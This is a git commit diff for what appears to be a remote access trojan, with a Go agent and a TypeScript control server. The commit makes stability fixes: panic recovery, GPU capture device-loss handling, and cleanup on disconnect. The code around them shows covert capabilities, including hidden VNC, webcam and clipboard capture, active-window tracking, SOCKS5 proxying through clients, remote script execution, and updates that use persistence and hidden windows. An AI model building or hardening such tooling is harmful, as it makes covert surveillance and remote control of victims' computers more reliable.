hopefully fix all issues with random disconnects during stupid panics from GPU mode.

This commit is contained in:
KingKDot
2026-04-07 13:26:52 -05:00
parent acc010be81
commit a0ed6d7cc1
10 changed files with 78 additions and 8 deletions
@@ -485,7 +485,10 @@ func (s *capState) ensure(hdcScreen uintptr, w, h int) (uintptr, uintptr, []byte
if newBmp == 0 || bits == nil { if newBmp == 0 || bits == nil {
return 0, 0, nil, 0, syscall.EINVAL return 0, 0, nil, 0, syscall.EINVAL
} }
selectObject(s.hdcMem, newBmp) if selectObject(s.hdcMem, newBmp) == 0 {
deleteObject(newBmp)
return 0, 0, nil, 0, syscall.EINVAL
}
if s.hbmp != 0 { if s.hbmp != 0 {
deleteObject(s.hbmp) deleteObject(s.hbmp)
} }
@@ -516,6 +519,7 @@ func (s *capState) reset() {
s.w = 0 s.w = 0
s.h = 0 s.h = 0
s.bits = nil s.bits = nil
stateCreatedAt = time.Time{}
} }
func captureScale() float64 { func captureScale() float64 {
@@ -24,6 +24,8 @@ const (
dxgiErrorNotFound uintptr = 0x887A0002 dxgiErrorNotFound uintptr = 0x887A0002
dxgiErrorWaitTimeout uintptr = 0x887A0027 dxgiErrorWaitTimeout uintptr = 0x887A0027
dxgiErrorAccessLost uintptr = 0x887A0026 dxgiErrorAccessLost uintptr = 0x887A0026
dxgiErrorDeviceRemoved uintptr = 0x887A0005
dxgiErrorDeviceReset uintptr = 0x887A0007
S_OK uintptr = 0 S_OK uintptr = 0
) )
@@ -613,6 +615,7 @@ type duplicationState struct {
lastFrameAt time.Time lastFrameAt time.Time
lastFail time.Time lastFail time.Time
cursorScratch *image.RGBA cursorScratch *image.RGBA
createdAt time.Time
} }
func SetDesktopDuplication(enabled bool) { func SetDesktopDuplication(enabled bool) {
@@ -675,6 +678,7 @@ func (s *duplicationState) closeLocked() {
s.lastFrame = nil s.lastFrame = nil
s.lastFrameAt = time.Time{} s.lastFrameAt = time.Time{}
s.cursorScratch = nil s.cursorScratch = nil
s.createdAt = time.Time{}
} }
func (s *duplicationState) capture(display int) (*image.RGBA, error) { func (s *duplicationState) capture(display int) (*image.RGBA, error) {
@@ -713,6 +717,10 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
s.closeLocked() s.closeLocked()
return nil, errors.New("dxgi: access lost") return nil, errors.New("dxgi: access lost")
} }
if hr == dxgiErrorDeviceRemoved || hr == dxgiErrorDeviceReset {
s.closeLocked()
return nil, fmt.Errorf("dxgi: device lost 0x%x", hr)
}
if hr != S_OK { if hr != S_OK {
return nil, fmt.Errorf("dxgi: acquire frame failed 0x%x", hr) return nil, fmt.Errorf("dxgi: acquire frame failed 0x%x", hr)
} }
@@ -826,10 +834,17 @@ func cloneRGBA(src *image.RGBA) *image.RGBA {
} }
func (s *duplicationState) ensure(display int) error { func (s *duplicationState) ensure(display int) error {
const dxgiDeviceMaxAge = 4 * time.Hour
if s.dup != nil && s.display == display { if s.dup != nil && s.display == display {
return nil if !s.createdAt.IsZero() && time.Since(s.createdAt) > dxgiDeviceMaxAge {
log.Printf("capture: dxgi device age exceeded %v; forcing re-init", dxgiDeviceMaxAge)
s.closeLocked()
} else {
return nil
}
} else {
s.closeLocked()
} }
s.closeLocked()
monitors := monitorList() monitors := monitorList()
if display < 0 || display >= len(monitors) { if display < 0 || display >= len(monitors) {
@@ -903,6 +918,7 @@ func (s *duplicationState) ensure(display int) error {
s.display = display s.display = display
s.bounds = bounds s.bounds = bounds
s.cursorBounds = cursorBounds s.cursorBounds = cursorBounds
s.createdAt = time.Now()
return nil return nil
} }
@@ -951,10 +967,13 @@ func (s *duplicationState) readbackFrame(width, height int, rotation uint32, res
s.context.CopyResource(s.staging, tex) s.context.CopyResource(s.staging, tex)
var mapped d3d11MappedSubresource var mapped d3d11MappedSubresource
hr = s.context.Map(s.staging, 0, d3d11MapRead, 0, &mapped) hr = s.context.Map(s.staging, 0, d3d11MapRead, 0, &mapped)
if hr != S_OK || mapped.Data == nil || mapped.RowPitch == 0 { if hr != S_OK {
return nil, hr return nil, hr
} }
defer s.context.Unmap(s.staging, 0) defer s.context.Unmap(s.staging, 0)
if mapped.Data == nil || mapped.RowPitch == 0 {
return nil, uintptr(1)
}
pitch := int(mapped.RowPitch) pitch := int(mapped.RowPitch)
src := unsafe.Slice((*byte)(mapped.Data), pitch*int(srcDesc.Height)) src := unsafe.Slice((*byte)(mapped.Data), pitch*int(srcDesc.Height))
@@ -1,8 +1,10 @@
package filesearch package filesearch
import ( import (
"log"
"os" "os"
"path/filepath" "path/filepath"
"runtime/debug"
"strings" "strings"
"sync" "sync"
) )
@@ -31,6 +33,11 @@ func LookupExe(exeName string, workers int, onResult ResultFunc) {
wg.Add(1) wg.Add(1)
go func() { go func() {
defer wg.Done() defer wg.Done()
defer func() {
if r := recover(); r != nil {
log.Printf("[filesearch] worker panic: %v\n%s", r, debug.Stack())
}
}()
for dir := range dirs { for dir := range dirs {
walkDir(dir, lowerExe, dirs, &inflight, onResult) walkDir(dir, lowerExe, dirs, &inflight, onResult)
inflight.Done() inflight.Done()
@@ -40,6 +40,7 @@ func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string,
} }
go func() { go func() {
defer recoverAndLog("agent update", nil)
// Let the command_result flush before beginning process replacement. // Let the command_result flush before beginning process replacement.
time.Sleep(250 * time.Millisecond) time.Sleep(250 * time.Millisecond)
if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence, hideWindow); err != nil { if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence, hideWindow); err != nil {
@@ -18,6 +18,7 @@ func HandlePing(ctx context.Context, env *runtime.Env, envelope map[string]inter
pong := wire.Pong{Type: "pong", TS: ts} pong := wire.Pong{Type: "pong", TS: ts}
go func() { go func() {
defer recoverAndLog("pong sender", nil)
if err := wire.WriteMsg(ctx, env.Conn, pong); err != nil { if err := wire.WriteMsg(ctx, env.Conn, pong); err != nil {
log.Printf("ping: failed to send pong: %v", err) log.Printf("ping: failed to send pong: %v", err)
} }
+2 -2
View File
@@ -737,13 +737,13 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
capture.Loop(shotCtx, env) capture.Loop(shotCtx, env)
}) })
goSafe("activewindow", nil, func() { goSafe("activewindow", cancel, func() {
if err := activewindow.Start(ctx, env); err != nil { if err := activewindow.Start(ctx, env); err != nil {
log.Printf("activewindow error: %v", err) log.Printf("activewindow error: %v", err)
} }
}) })
goSafe("clipboard", nil, func() { goSafe("clipboard", cancel, func() {
if err := activewindow.StartClipboard(ctx, env); err != nil { if err := activewindow.StartClipboard(ctx, env); err != nil {
log.Printf("clipboard error: %v", err) log.Printf("clipboard error: %v", err)
} }
+12
View File
@@ -288,6 +288,7 @@ type PendingScript = {
resolve: (result: any) => void; resolve: (result: any) => void;
reject: (error: any) => void; reject: (error: any) => void;
timeout: NodeJS.Timeout; timeout: NodeJS.Timeout;
clientId: string;
}; };
const pendingScripts = new Map<string, PendingScript>(); const pendingScripts = new Map<string, PendingScript>();
@@ -295,6 +296,7 @@ type PendingCommandReply = {
resolve: (result: { ok: boolean; message?: string }) => void; resolve: (result: { ok: boolean; message?: string }) => void;
reject: (error: Error) => void; reject: (error: Error) => void;
timeout: NodeJS.Timeout; timeout: NodeJS.Timeout;
clientId: string;
}; };
const pendingCommandReplies = new Map<string, PendingCommandReply>(); const pendingCommandReplies = new Map<string, PendingCommandReply>();
@@ -628,3 +630,13 @@ process.on("SIGTERM", () => {
flushAuditLogsSync(); flushAuditLogsSync();
process.exit(0); process.exit(0);
}); });
process.on("uncaughtException", (err) => {
logger.error("[server] uncaught exception:", err);
flushAuditLogsSync();
process.exit(1);
});
process.on("unhandledRejection", (reason) => {
logger.error("[server] unhandled rejection:", reason);
});
@@ -561,7 +561,7 @@ export async function handleClientRoutes(
reject(new Error("Script execution timed out after 5 minutes")); reject(new Error("Script execution timed out after 5 minutes"));
}, 5 * 60 * 1000); }, 5 * 60 * 1000);
deps.pendingScripts.set(cmdId, { resolve, reject, timeout }); deps.pendingScripts.set(cmdId, { resolve, reject, timeout, clientId: targetId });
}); });
target.ws.send(encodeMessage({ target.ws.send(encodeMessage({
@@ -595,7 +595,7 @@ export async function handleClientRoutes(
deps.pendingCommandReplies.delete(cmdId); deps.pendingCommandReplies.delete(cmdId);
reject(new Error("Voice capability probe timed out")); reject(new Error("Voice capability probe timed out"));
}, 30_000); }, 30_000);
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout }); deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
}); });
target.ws.send( target.ws.send(
@@ -17,11 +17,13 @@ import { stopAllProxiesForClient } from "../socks5-proxy-manager";
type PendingScript = { type PendingScript = {
timeout: ReturnType<typeof setTimeout>; timeout: ReturnType<typeof setTimeout>;
resolve: (value: { ok?: boolean; result?: string; error?: string }) => void; resolve: (value: { ok?: boolean; result?: string; error?: string }) => void;
clientId: string;
}; };
type PendingCommandReply = { type PendingCommandReply = {
timeout: ReturnType<typeof setTimeout>; timeout: ReturnType<typeof setTimeout>;
resolve: (value: { ok: boolean; message?: string }) => void; resolve: (value: { ok: boolean; message?: string }) => void;
clientId: string;
}; };
type WsLifecycleDeps = { type WsLifecycleDeps = {
@@ -333,6 +335,10 @@ export async function handleWebSocketMessage(
logger.info(`[purgatory] kicking existing socket for ${resolvedId} (superseded)`); logger.info(`[purgatory] kicking existing socket for ${resolvedId} (superseded)`);
try { existingClient.ws.close(4004, "superseded"); } catch {} try { existingClient.ws.close(4004, "superseded"); } catch {}
clientManager.deleteClient(resolvedId); clientManager.deleteClient(resolvedId);
clearEnrollmentTimeout(resolvedId);
deps.rdStreamingState.delete(resolvedId);
deps.hvncStreamingState.delete(resolvedId);
deps.webcamStreamingState.delete(resolvedId);
} }
ws.data.wasKnown = clientExists(resolvedId); ws.data.wasKnown = clientExists(resolvedId);
@@ -729,6 +735,20 @@ export function handleWebSocketClose(
setOnlineState(clientId, false, storedDisconnectReason, storedDisconnectDetail); setOnlineState(clientId, false, storedDisconnectReason, storedDisconnectDetail);
deps.clearPendingNotificationScreenshots(clientId); deps.clearPendingNotificationScreenshots(clientId);
deps.clearClientPluginState(clientId); deps.clearClientPluginState(clientId);
for (const [cmdId, pending] of deps.pendingScripts) {
if (pending.clientId === clientId) {
clearTimeout(pending.timeout);
pending.resolve({ ok: false, error: "Client disconnected" });
deps.pendingScripts.delete(cmdId);
}
}
for (const [cmdId, pending] of deps.pendingCommandReplies) {
if (pending.clientId === clientId) {
clearTimeout(pending.timeout);
pending.resolve({ ok: false, message: "Client disconnected" });
deps.pendingCommandReplies.delete(cmdId);
}
}
deps.rdStreamingState.delete(clientId); deps.rdStreamingState.delete(clientId);
deps.hvncStreamingState.delete(clientId); deps.hvncStreamingState.delete(clientId);
deps.webcamStreamingState.delete(clientId); deps.webcamStreamingState.delete(clientId);
@@ -120,6 +120,8 @@ function buildViewerFrameBuffer(bytes: Uint8Array, header?: any): Uint8Array {
return buf; return buf;
} }
const VIEWER_BACKPRESSURE_BYTES = 4 * 1024 * 1024; // 4 MB
function broadcastFrameToViewers( function broadcastFrameToViewers(
sessions: Iterable<{ viewer: ServerWebSocket<SocketData> }>, sessions: Iterable<{ viewer: ServerWebSocket<SocketData> }>,
buf: Uint8Array, buf: Uint8Array,
@@ -130,6 +132,10 @@ function broadcastFrameToViewers(
const byteLen = buf.length; const byteLen = buf.length;
for (const session of sessions) { for (const session of sessions) {
try { try {
const buffered = session.viewer.getBufferedAmount?.() ?? 0;
if (buffered > VIEWER_BACKPRESSURE_BYTES) {
continue;
}
session.viewer.send(buf); session.viewer.send(buf);
metrics.recordBytesSent(byteLen); metrics.recordBytesSent(byteLen);
sent = true; sent = true;